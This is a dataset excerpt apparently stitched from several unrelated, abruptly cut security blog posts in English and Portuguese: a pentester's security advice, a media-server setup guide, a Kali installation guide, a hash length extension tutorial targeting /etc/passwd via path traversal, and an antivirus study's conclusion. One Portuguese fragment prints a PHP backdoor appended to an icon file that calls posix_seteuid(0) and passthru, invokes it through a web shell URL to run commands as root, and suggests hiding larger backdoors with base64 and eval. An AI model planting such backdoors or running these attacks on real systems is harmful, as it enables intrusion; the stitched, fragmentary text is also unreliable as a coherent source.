thegoodfellas/blogset-br huggingface dataset:
A big Hi to the online world out there! Since I dont write much, let me first introduce myself. My name is Bikramaditya Guha aka PhoenixX and I'm an Indian Computer Enthusiast. These days I mostly work with information security, with a special interest in Web Applications. If you let me, I'll find my ways into your site or application, hopefully before the bad guys do. You can find a little more about me by visiting my LinkedIn profile.It's very common these days to find and exploit zero days. Some of them are really intriguing based on the popularity of the products and their usage.It has been observed that a lot of costly products (and by that I mean really costly) sold to the general public/corporations are not tested for security or to say the least, tested with negligence. It's 2016 and security still serves only as a mean to fulfill compliance requirements. Everybody seems to be in a hurry to release the product to the end users. It seems like the value of money is still more important than an individual's personal data.Today I want to share a tale about how I started pawning shells across multiple demo products (mostly PHP based). Like all good tales, this one also begins long time ago (actually about a year).Given that every organization or individual are becoming increasingly dependent on a one-click solution for all their problems, multiple (small and big) vendors are spawning up with online solutions/products to ease the pressure out of big MNCs. Though it saves you a lot of money, it raises a troubling question.Are the products really secure? Do they really care about the reputation you carry? Or is it just a sprint for money?These questions really raise an eyebrow (being paranoid helps when it comes to personal data) and then I decided to explore these products from a security perspective. And guess what!!! I felt like I can train junior pentesters to be hackers by using these online demos, the vendors offer, as a training ground. Or in short, nobody gives a 'Fish' about security. There's an open vulnerable world out in the wild ready to be PWNED.In my recent researches, I have observed that a lot of popular products (CMS, LMS, WMS, etc.) wildly used in the market are prone to some serious vulnerabilities. 6 out of 10 major organizations which use these products are vulnerable to flaws which include but are not limited to SQL Injection, Remote Code Execution, LFI, XXE, XSS, etc. This is just a small example considering the enormousness of the online world.The web's architecture, having become so important that many confuse it with the internet itself, is also problematic from a security standpoint. The web uses client-server architecture on a peer to peer network. The web and the internet pass messages asynchronously, essentially a file transfer system.Each time you visit a website you open the door to your computer through which the site can send files. All of these separate files have been used by criminals and other evil doers to harm
computer users.Your identity can be stolen for financial fraud.You can be redirected to phony sites and sold fake products.Your computer can be controlled for nefarious schemes using vulnerabilities in Flash and Java.Worse, the peer to peer nature of the internet means that a network is only as vulnerable as its weakest link. Too often, network administrators and users are complacent about a computer or website because it is by itself insignificant. Why add SSL to a test website on a minor project? Why add a firewall to a computer that does not have significant data on it?These questions are often answered the hard way. When hackers gain access to one computer on a network they can work their way onto other computers on the network. Drop a sniffer on one computer and you can eventually identify the login credentials to access other computers. With patience and persistence, hackers can move from a low priority computer with minimal access rights to more important computers with higher levels of access. Get root privileges, own the system/server. There's a hell lot of other things a hacker is equipped with to throw at your personally owned beloved system. The main purpose of this article is to instill among the individuals the necessity and importance of security in whatever they do or try to do online. Be it using an online product, surfing on the internet, or playing online games, whatever. Being cautious doesn't harm. It definitely helps against such sophisticated and cleverly planned attacks. In my work experience, I just dont see organizations/individuals paying much of a heed to security. So in case you find this article interesting, I would recommend few things that might help you to improve security (only if you care enough).Protect your network with a robust hardware-based firewall, at the same time keep personal firewalls on all computers. A layered approach to network security is essential.Use remote management tools to ensure that all computers on your network have an up to date firewall and antivirus program correctly configured.Restrict users rights to install software. I hate this myself, but it is important. When you give everyone installation rights you are giving it to the malware they download!Use Firefox instead of Internet Explorer. It may not be practical to migrate away from Windows, but you can do a lot of good by using the much more secure Firefox.Identify and secure all access points, no matter how seemingly insignificant. Every web site, every ftp server that can be accessed via the public internet needs to be secured and monitored for compromises.Require strong passwords for your computers and applications. This is another one I hate, but weak passwords are the best friend of every hacker.Last but not the least! Watch over your shoulder.Given the nature of the internet, network security is a never ending battle that requires constant vigilance. Best of luck....
necessidade disso, no meu casoas extesoes que coloquei foram: mkv,aviTrick: Em alguns casos algumas TV dizem nao ter suporte amkv ou Avi, neste caso tente apenas alterar a extensao entre estes dois tipos. Na opcao: Motores de ficheiro de video -> No meu caso coloquei como Padrao o VLC Video ( caso voce nao tenha o VLCatualizado, atualize!). O VLC e capaz de reproduzir uma grande variedade detipos de encodes, portanto, desabilitei os demais. Porem, caso o vlc naoexecute algum conteudo, basta habilitar os outros e testar. Para coloca-lo como padrao, use as setas no cantoinferior esquerdo, a tomada habilita ou desabilita o player.Motores de Streaming de video WEB. Selecione PMSEncoder como Default, edesabilite os outros, mesmo eles como padrao o PSM tentar executa-lo com o VLCe nao funciona. Ou voce pode deixar habilitado e ir no diretorio #Transcode# ja mencionado e encontrar o arquivo referentea reproducao(ID do youtube + [nome do encoder]) usando o PSMEncode, nao achouma boa ideia caso voce tenha uma lista de videos grande, pois nestediretorio ficam todas asreproducoes para todos os encoders,entao quando acabar um video ele automaticamente passa para o proximo e todavez que ele nao consegue reproduzir, aparece uma pergunta se deseja ir para oproximo. Logo, se voce quer reproduzir muito videos do youtube, desabilite osoutros encoders, assim voce nao tera essa interrupcao pois apenas a reproducaopara o PMSEncoder sera criada. Motores de streaming de audio WEB.Para que a Difm funcione, deixe como padrao FFmpeg Web Audio e desabilite o VLC.UPDATE:Acabei de testar com arquivos mp4 e mesmo configurando para que nao haja enconding para estar extensao, o infeliz do PSM insiste em fazer isso, ou seja, problemas com travamento. Solucao: Apenas renomeie de .mp4 para ,avi, assim o encoding nao sera executado.Pronto! Clique em Guardar no topo do tela e clique emReiniciar Servidor.Agora na na sua TV e seja feliz! Obs: Quando o programa e fechado, algumas dessas configuracoes podem se perderou eu fiz alguma merda, entao confira tudo quando for usar o PSM novamente.Seguranca:Utilize uma senha forte tanto na Rede particular quanto na NWM. Por mais que a NWM esteja forada internet, alguem pode entrar caso voce utilize uma senha fraca. Recomendacoes: Use WP2+AES em ambas as redes.Desabilite o WPS em ambas as redes.Deixe o pc/notebook com firewallhabilitado, libere apenas a porta usada pelo PSM (5001)Na sua rede particular crie um filtro de MAC no roteador e cadastre somente osdispositivos que voce conhece.Conclusao: Ja assisti todas os episodios disponiveis de Mr. Robot.Nao tenho mais problemas com loading e encoding.Quando desligo ou desconecto meu notebook, a NWM fica isolada da internet. Nao tenho milhoes de cabos ligados naTV.Foi chato e demorado pra caralho fazer isso, devidor a falta ou a madocumentacao, mas ao mesmo tempo bem gratificante ver tudo funcionando no final.Proximos desafios para melhorar a NWM: Integracao com Popcorntime.Streaming da area de trabalho.Ligacao da TV com a HomeTheather sem cabos. Nao fiz porque nao comprei o HomeTheater ainda! UahsaushauhsaTem alguma sugestao? Call me! @crashbrz ou #dclabs @ freenode
/usr/bin/php5 (o endereco pode/vai variar de acordo o sabor do linux)root@srvlfi:/var/www# ls -al /usr/bin/php5-rwsr-xr-x 1 root root 7463060 2012-02-11 05:07 /usr/bin/php5Criado um icone com nome de suid.ico com o seguinte codigo(claro, no final do arquivo depois do codigo do proprio icone):<?phpposix_seteuid(0);passthru($argv[1]);?>Neste caso foi utilizada a variavel $argv[1] para receber o valor, pois mesmo com suid no binario do php nao possivel elevar o privilegio utilizado a posix_seteuid, devido a arquitetura e protecoes empregadas(nem sempre foi assim), entao, para contornar, a ideia foi fazer a propria backdoor executar o binario suid do php passando o caminho do icone maligno jutamente com comando a ser executado como root. Como podem ver na abaixo, logo $argv[1] tem o valor id;uname -a http://srvlfi.dc/oi.php?cmd=/usr/bin/php5%20/var/www/suid.ico%20%22id;uname%20-a%22Obs: Para comandos com argumentos por exemplo uname -a, e necessario utilizar aspas duplas, para indicar que o comando e apenas um, caso contrario, o php ira entender que "-a" e o terceiro argumento do array - $argv[2]E sim, TERCEIRO argumento, caso tenha duvida consulte o link de $argv[1].Outra dica e: Caso o codigo do seu backdoor esteja ficando grande, use as funcoes de enconding base64 e a funcao eval do php.Espero ter contribuido.Thanks to: @l0c4lh05t - @gmlnetMe: @crashbrz
Este paper foi inspirado na palestra Hacking from the Restroom do pesquisador brasileiro Bruno Goncalves apresentado na conferencia de seguranca HITB MALAYSIA em 2009; e baseado no projeto Linux on Android.Vamos mostrar como e possivel executar o BackTrack em seu smartphone e utiliza-lo para realizar um pentest basico onde seu notebook nao pode ir com voce.O paper e demais arquivos necessarios podem ser acessados por este link: https://docs.google.com/open?id=0B8FxJ0KnE3nrUWdrRVBVYUZLdjQBy: Rener Alberto (Gr1nch)Twitter: @Gr1nchDcirc.freenode.net /j #DcLabs Hi guys! So, if you are reading this, I'm dead! Lol kidding.Seriously now, if you are reading this, it is because you are trying to become a pentester and not a stupid teenager who just wants to run a tool and tell his friends that he is a hacker.Also, if you are concerned/complaining about the icon size on your desktop, your sound card is not working in Kali linux or you are too lazy to read it, go back to your normal life, you dont have the pentester/hacker soul.If you are still reading at this point, I already suppose that you have at least the basic knowledge of:- Linux operation and management - Windows operation and management - Some programming language skills (perl, python, ruby, javascript) also, for web pentests event HTML is required, even if it isn't a programming language - Basic Network knowledge (TCP/IP, ICMP) /Network services (Proxy, VPN, Samba, AD)- Protocols like HTTP, FTP, DNS, SSH- SQL (DDL, DML and so on) mysql, sqlserver, postgress, oracle.If you don't have these skills, really, dont try to get into the security world at this moment or you will get frustrated for sure. You will need a lot a reading before you can start it. Dont think just installing Kali linux on your machine magically makes you a pentester, it takes time, and to be honest, a lot of time! If you want to learn linux, dont start with Kali for the following reasons: http://docs.kali.org/introduction/should-i-use-kali-linux. Basically these lines: The fact of the matter is, however, that Kali is a Linux distribution specifically geared towards professional penetration testers and security specialists, and given its unique nature, it is NOT a recommended distribution if youre unfamiliar with Linux or are looking for a general-purpose Linux desktop distribution for development, web design, gaming, etc.The most important thing is: Know how things work. I know a lot of hackers who are able to dump entire databases but they don't even know how a SELECT or CREATE TABLE statement works, or guys who are able to take down a server but they don't even know what an icmp type 8 is. I will not discuss the guys who use SET to grab Facebook credentials, I felt sick writing this last sentence...So, dont be big headed, start your studies in the correct way. Just executing tools does not make you a hacker/pentester.Dont be a simple stupid script kiddie, these guys are jokes in the security world. Do you wanna be like these guys? I dont think so.And another tip: Dont think that everything is for free, you'll need to save some money to buy
in apendrive and load it in the Vbox or Vmware for example. Anotheroption is to create a bootable pendrive, also, the mobility in thiscase is easier than carrying a notebook in the bag all the time.Followingthe links related to USB install:http://docs.kali.org/downloading/kali-linux-live-usb-installhttp://docs.kali.org/downloading/kali-linux-live-usb-persistenceOne more, but not powerful option is to install Kali in your mobile device,there is a especial Kali edition called NetHunter(https://www.kali.org/kali-linux-nethunter/) for this purpose.Also, you canproceed with a chroot installation(https://www.kali.org/tutorials/kali-linux-android-linux-deploy/)This lasttwo cases are very useful when you are performing a pentest with very restrictdevices access. I mean, when the customer does not allow you to go inside thecompany with your notebook. Normally mobiles devices are allowed and pendrives are veryeasy to hide. -HardwarecompatibilityIf you dont wanna face hardware problems, the best way is to use virtual system. Only oneproblem in my point of view (and it not is that problem): You are notable to use your GPU to crack passwords. You still able to use virtualized tocrack, but for sure not the same speed. However, the passwordscan be cracked in your normal Linux/windows installation, dont try to use this"problem" as excuse to have Kali bare metal installed and look coolfor your friends.For Wi-Fipenetration tests, some years ago I had some problems because VMware and Vboxdidnt have a nice USB management, nowadays, it already fixed. Basically 99% ofthe problems with Wi-Fi pentesting are because the Wi-Fi card does not supportpacket injection, so, check it before buying the Wi-Fi adapter.Conclusion:A virtualized Kali will work pretty nice for you, covering almost all the cases.If it is notworking with satisfactory performance, maybe you did something wrong.Probably Ididnt cover all possibilities ins the article, but I hope it helps you to choose the best wayto install your Kali.
Soundsinteresting!! Doesnt it? Well, it sounds to me and so I want it penned down.Lets see how this goes. If you feelyouve nailed it after reading through the entire blog, then I can considerdiving deep into the blogging world. Its my second post within 24 hours and Ialready feel I was born for it. Lets not bore you guys with my shit, and learnsomething about a new form of cryptographic attack called the Hash LengthExtension Attack, instead.It all startedwhen I was at Goa in India (an exotic place to be in for sure) a year ago forthe null conference. I know, when I say Goa, the only thought that comes toyour mind is the beaches pristine blue with golden sand and perhaps a bottleof Goas favorite chilled beer Kings. The thought of not attending the conference crossed my mind, but then myBoss gave me an intensive look and there I was, (Coz my employer paid for thetrip). I already knew that I was going to hate it but things changed at theblink of an eye the moment I entered the conference. One of the trainings atthis conference was about an attack called a Hash Length Extension Attack. Thiswas the first time I've heard it and it kept me on my toes for the entiresession. Half way downthe session, I realized that the attack is not only super awesomely cool, butalso conceptually easy to understand and perform. To make your job much easier,there are various modules available over the internet such as HashPump and hash_extender. Theresanother module which I like personally, is the one from Stephen Bradshaw calledhlextend. This module can be found at GitHub.As perWikipedia, the basic definition of this attack goes by: In cryptography and computer security, alength extension attack is a type of attack where an attacker can use Hash(message1) and the length of message1 to calculate Hash (message1 message2). This attack can beused to sign a message when a MerkleDamgard based hash is misused as a messageauthentication code, allowing for inclusion of extra information.This attack can be done on hashes withconstruction H (secret message) when message and the length of secret is known. Algorithms like MD5,SHA-1, and SHA-256 that are based on the MerkleDamgard construction aresusceptible to this kind of attack.Before webegin, a quick go-through on how Hashing works: Hash functions operate on fixed block sizes Input data is split into fix-sized parts equalto the block size If any of these parts is smaller than block size(mostly the last part), the missing bytes are paddedu PKCS7u Bit Padding The hash value represents the internal state ofthe hash functionu You can simply continue adding data + paddingand hash again using the internal stateThe Attack:Lets assume aweb application which uses a known hash generated from an unknown secret valuetied to a user entered input. The basic purpose of doing so is to check theintegrity of the entered value to avoid any form of manipulation. For example,lets assume the desired SHA1 hash value generated with an unknown secretlength for a valid parameter value studentis 204036A1EF6E7360E536300EA78C6AEB4A9333DD.So, if we try to access the below
mentioned URL, we get all the details of astudent. Cool! I guess thats what theapplication was supposed to do. Its a valid request after all. Lets seewhat happens if we try to play with the paramvalue. Lets try to access the /etc/passwd/file using path traversal. What do you think will happen?Oops!! File notfound. Of course! Anddid you think it was that easy? So what do you think happened? Well, therequested file did not match the above SHA1 hash value since it belonged to student. In order to perform thisattack successfully, we would need a valid SHA1 hash value for the /../../../../etc/passwd file, combinedwith an unknown length of the secret value. And how do youthink we get that? Well, the first thing we need to do is to guess the lengthof the secret value. Without which it wont be possible to generate a validhash. In such cases, brute forcing the value by trying multiple differentlengths can sometimes be possible, depending on the application. Lets first seewhat all data we already have that might come in handy:Known Data: studentHash of known Data: 204036A1EF6E7360E536300EA78C6AEB4A9333DDExtended Data: /../../../../etc/passwdHash of Extended Data:<unknown>Length of secret: <unknown>Great!!If I have toexplain it in simple words, the application creates a sha1 hash value of '204036A1EF6E7360E536300EA78C6AEB4A9333DD',by concatenating an unknown secret of length X and known data of 'student'.You wish to append the text '/../../../../etc/passwd'after 'student' and also provide avalid hash back to the application that it will produce when it concatenatesyour provided value (which will include the string 'student' followed by '/../../../../etc/passwd')with its secret.I hope by nowyou already know what our ultimate goal is. Ready for some action!!! Here wego......The goal is toread the /etc/passwd file, viabypassing the hash integrity check on the param parameter. This is what thescript below will automate using the hlextend module to generate the extendedhash values.And theoutput:Once we access the above displayed URL:You may noticethat the new value produced above contains a lot of additional data (in thiscase, a 0x80 followed by a number of 0x00s and a message length, which is thelength of the key plus the original message, appended at the end) between the 'student' and the '/../../../../etc/passwd' - this is hex encoded padding data used bythe hash algorithm that needs to be integrated into the hashed data in orderfor the attack to work - So strictly speaking you can'tspecify the EXACT value to append, only what comes after the padding, but underthe right circumstances you can make the application ignore this extra padding.So in short, ifthe hash algorithm used is vulnerable, it is possible to achieve this withoutknowing the secret value as long as you know (or can guess, perhaps by bruteforce) the length of that secret value. This is called a hash length extensionattack.Happy Hacking my Friends!!!
como o unico antivirus completo e totalmente gratuito que existe, podendo levar o usuario domestico a entender que existe um nivel de perfeicao quando comparado aos concorrentes, algo que nao corresponde a realidade obtida nos testes realizados. ---------------------------------------------------------------------------------------------------------Esta pesquisa foi feita em conjunto com Gabriel Lanzi (Psylon) @gmlnetGostaria de agradecer ao Fio (@fiocavallari @BrauvonHacker ) pela ajuda com os Samples e ao amigo Lincoln Werneck (@lincolnwerneck) do Instituto Coaliza (@Coaliza) na redacao deste post.